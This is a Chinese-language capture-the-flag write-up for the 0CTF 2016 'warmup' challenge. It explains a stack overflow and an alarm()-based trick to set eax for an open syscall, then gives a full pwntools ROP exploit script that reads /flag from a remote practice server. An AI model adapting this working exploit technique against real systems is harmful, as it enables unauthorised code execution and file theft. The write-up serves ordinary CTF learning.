warmup

warmup

查看保护


程序很少，保护开的也少，栈溢出漏洞。 正常rop明显是不行的，这个程序不依靠glibc，gadget构造不出来system这一类的系统调用。这里有个姿势（alarm函数）参考了alarm函数有一个特性，如果多次调用alarm，那么alarm就会返回前一个alarm开始到现在，还剩下多长时间 ha1vk
这里有write read


想要使用orw还差一个open，根据上面的alarm特性可以构造出sleep(5)使得0xa - 5 = 5成功将5写进eax。就可以调用open这个系统调用了。可以先将/flag这个字符串写入data_addr
open(data_addr, 0)
read(3, data_addr, 0x30)
write(0, data_addr, 0x30)
构造上面这三个即可拿到flag。

from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28957)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
data_addr = 0x80491BC

p1 = b'a' * (0x20) + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10)
r.sendafter('Welcome to 0CTF 2016!', p1)

r.send(b'/flag'.ljust(0x10, b'\x00'))
sleep(5)

alarm_addr = 0x804810D
syscall = 0x804813a

#open
p2 = b'a' * 0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0)
r.send(p2)

#read
p3 = b'a' * 0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x40)
r.send(p3)

#write
p4 = b'a' * 0x20 + p32(write_addr) + p32(0) + p32(0) + p32(data_addr) + p32(0x40)
r.send(p4)

r.interactive()